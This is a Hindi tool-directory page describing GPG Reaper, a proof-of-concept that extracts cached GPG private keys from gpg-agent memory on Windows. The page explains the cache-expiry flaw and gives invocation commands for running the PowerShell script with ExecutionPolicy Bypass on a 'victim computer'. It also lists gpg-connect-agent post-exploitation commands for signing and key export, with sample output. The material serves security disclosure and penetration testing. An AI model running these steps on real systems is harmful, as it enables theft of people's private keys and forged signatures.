Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
gpg_reaper — GPG Reaper - gpg-agent कैश/मेमोरी से GPG निजी कुंजियाँ प्राप्त/चुराएँ/पुनर्स्थापित करें | Kitploit
उपकरण/GitHubGitHub/kacperszurek/gpg_reaper
मेमोरी फोरेंसिकशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंग
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - gpg-agent कैश/मेमोरी से GPG निजी कुंजियाँ प्राप्त/चुराएँ/पुनर्स्थापित करें

रिपॉजिटरी देखें
961198 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GPG Reaper

TL;DR: gpg-agent कैश/मेमोरी से GPG निजी कुंजियाँ प्राप्त/चुरा/पुनर्स्थापित करें

GPG Reaper लोगो

यह POC विंडोज के तहत gpg-agent मेमोरी से GPG निजी कुंजियाँ प्राप्त करने की विधि प्रदर्शित करता है।

सामान्यतः यह केवल 10 मिनट की समय सीमा (--default-cache-ttl मान) के भीतर ही संभव होना चाहिए।

दुर्भाग्यवश housekeeping() फ़ंक्शन (जो कैश सफाई के लिए जिम्मेदार है) केवल तभी निष्पादित होता है जब आप GPG का उपयोग कर रहे हों (वहाँ कोई टाइमर नहीं है)।

इसका मतलब है कि सामान्य GPG उपयोगकर्ता परिदृश्य में जैसे: आप एक फ़ाइल पर हस्ताक्षर करते हैं फिर GUI बंद करते हैं और अन्य कार्य करते हैं आपका पासवर्ड अभी भी gpg-agent मेमोरी में है (भले ही ttl समाप्त हो गया हो)।

हमलावर, जिसके पास आपके वर्तमान सत्र तक पहुँच है, आपके पासफ़्रेज़ को जाने बिना निजी कुंजी चुराने के लिए इसका उपयोग कर सकता है।

सूचना: GPG संस्करण 2.2.6 में कैशिंग तंत्र बदल देगा। कमिट और मुद्दा देखें।

Gpg Reaper कार्यान्वयन

विषय सूची

  • स्थापना
  • परीक्षण
  • परिचय
  • उपयोग
  • GPG वाले मशीन पर पोस्ट-एक्सप्लॉइटेशन
  • निजी कुंजी निर्यात प्रतिबंध को बायपास करें
  • निष्कर्ष
  • कार्यान्वयन
  • समर्थित संस्करण
  • अक्सर पूछे जाने वाले प्रश्न
  • श्रेय

स्थापना

pip install PGPy

यदि आपको यह मिले:

TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` जब python स्क्रिप्ट चलाते हैं तो:

तो:

pip install six==1.10.0

परीक्षण

1. Gpg4Win 3.0.3 स्थापित करें

2. कमांड लाइन खोलें और एजेंट को 2 सेकंड कैश समय के साथ प्रारंभ करें:

cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2

3. Kleopatra चलाएँ और एक नई कुंजी जोड़ी उत्पन्न करें

GPG कुंजी उत्पन्न करें

4. कुछ उदाहरण परीक्षण फ़ाइल पर हस्ताक्षर करें

परीक्षण फ़ाइल पर हस्ताक्षर करें

5. Pinetry पॉपअप होगा और पासफ़्रेज़ माँगेगा

Pinentry

6. चरण 4-5 दोहराएँ। हर बार pinetry दिखाई देता है क्योंकि हमारा 2 सेकंड का कैश समाप्त हो गया है

7. GPG reaper चलाएँ

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

आप कुछ इस तरह देखेंगे:

[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

जैसा कि आप देख सकते हैं हम कुंजी डंप करते हैं। यह संभव है क्योंकि हमने housekeeping फ़ंक्शन को NOP कर दिया।

8. निजी कुंजी पुनर्स्थापित करें:

python gpg_reaper.py .\testme.txt

निजी कुंजी फ़ाइल में डंप हो जाती है:

[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

परिचय

GPG-एजेंट एक डेमॉन है जो किसी भी प्रोटोकॉल से स्वतंत्र रूप से निजी कुंजियों का प्रबंधन करता है।

GUI इंटरफ़ेस Assuan प्रोटोकॉल का उपयोग करके एजेंट के साथ संचार करता है।

डिफ़ॉल्ट रूप से एजेंट आपकी साख को कैश करता है।

--default-cache-ttl n विकल्प कैश प्रविष्टि की वैधता के समय को n सेकंड पर सेट करता है।

डिफ़ॉल्ट 600 सेकंड है। हर बार जब कैश प्रविष्टि एक्सेस की जाती है, उसका टाइमर रीसेट हो जाता है।

विंडोज के तहत हस्ताक्षर प्रक्रिया इस तरह दिखती है:

हस्ताक्षर प्रक्रिया

यहाँ महत्वपूर्ण भाग housekeeping() फ़ंक्शन है जो मेमोरी से समाप्त साख को हटाने के लिए जिम्मेदार है।

लेकिन यहाँ एक समस्या है: यह फ़ंक्शन केवल दो स्थानों पर निष्पादित होता है (agent_put_cache और agent_get_cache के अंदर)।

इसका मतलब है कि कैश की गई साख मेमोरी से नहीं हटाई जाती है जब तक कि कुछ gpg-agent कमांड न चलाए जाएँ जो agent_put_cache या agent_get_cache या agent_flush_cache का उपयोग करते हैं।

उपयोग

पीड़ित कंप्यूटर पर:

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

out.txt को अपनी मशीन पर स्थानांतरित करें और निजी कुंजियाँ पुनर्स्थापित करें:

gpg_reaper.py out.txt

निजी कुंजियाँ अलग-अलग फ़ाइलों में डंप की जाएँगी।

यदि GPG डिफ़ॉल्ट निर्देशिकाओं के बाहर स्थापित है:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

यदि आप डीबग संदेश नहीं चाहते हैं:

Gpg-Reaper -Verbose $false

GPG वाले मशीन पर पोस्ट-एक्सप्लॉइटेशन

मान लें कि आप पैनेट्रेशन टेस्टिंग कर रहे हैं और आपको GPG स्थापित वाले कंप्यूटर पर शेल प्राप्त होता है।

यदि आप भाग्यशाली हैं और उपयोगकर्ता ने हाल ही में GPG का उपयोग किया है और कैश समाप्त नहीं हुआ है, तो आप:

1. किसी फ़ाइल पर हस्ताक्षर करें:

c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe चलाएँ

  • विशिष्ट मशीन पर उपलब्ध कुंजियों की सूची प्राप्त करें
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • keygrip और संदेश हैश सेट करें
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN

2. निजी कुंजी निर्यात करें:

c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe चलाएँ

  • रैपिंग कुंजी प्राप्त करें
KEYWRAP_KEY --export
  • कुंजी भंडार से एक गुप्त कुंजी निर्यात करें। कुंजी वर्तमान सत्र की कुंजी रैपिंग कुंजी का उपयोग करके AESWRAP-128 एल्गोरिदम का उपयोग करके एन्क्रिप्ट की जाएगी
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

दुर्भाग्यवश यह अपेक्षित रूप से काम नहीं करता है और पासवर्ड माँगता है।

क्यों? क्योंकि cmd_export_key() फ़ंक्शन CACHE_MODE_IGNORE फ्लैग के साथ agent_key_from_file() को निष्पादित करता है जिसका अर्थ है कि कैश का उपयोग नहीं किया जाएगा और उपयोगकर्ता से हर बार पासफ़्रेज़ माँगा जाता है।

निजी कुंजी निर्यात प्रतिबंध को बायपास करें

हम जानते हैं कि gpg-agent के माध्यम से GPG कुंजी निर्यात करना पासवर्ड जाने बिना संभव नहीं है।

लेकिन यहाँ एक छोटी सी विचित्रता है। एजेंट के पास कुछ विकल्प उपलब्ध हैं:

1. --debug-level

समस्याओं की जाँच के लिए डीबग स्तर चुनें। स्तर एक संख्यात्मक मान या कीवर्ड हो सकता है:

guru - सभी डीबग संदेश जो आप प्राप्त कर सकते हैं।

टूल डाउनलोड करें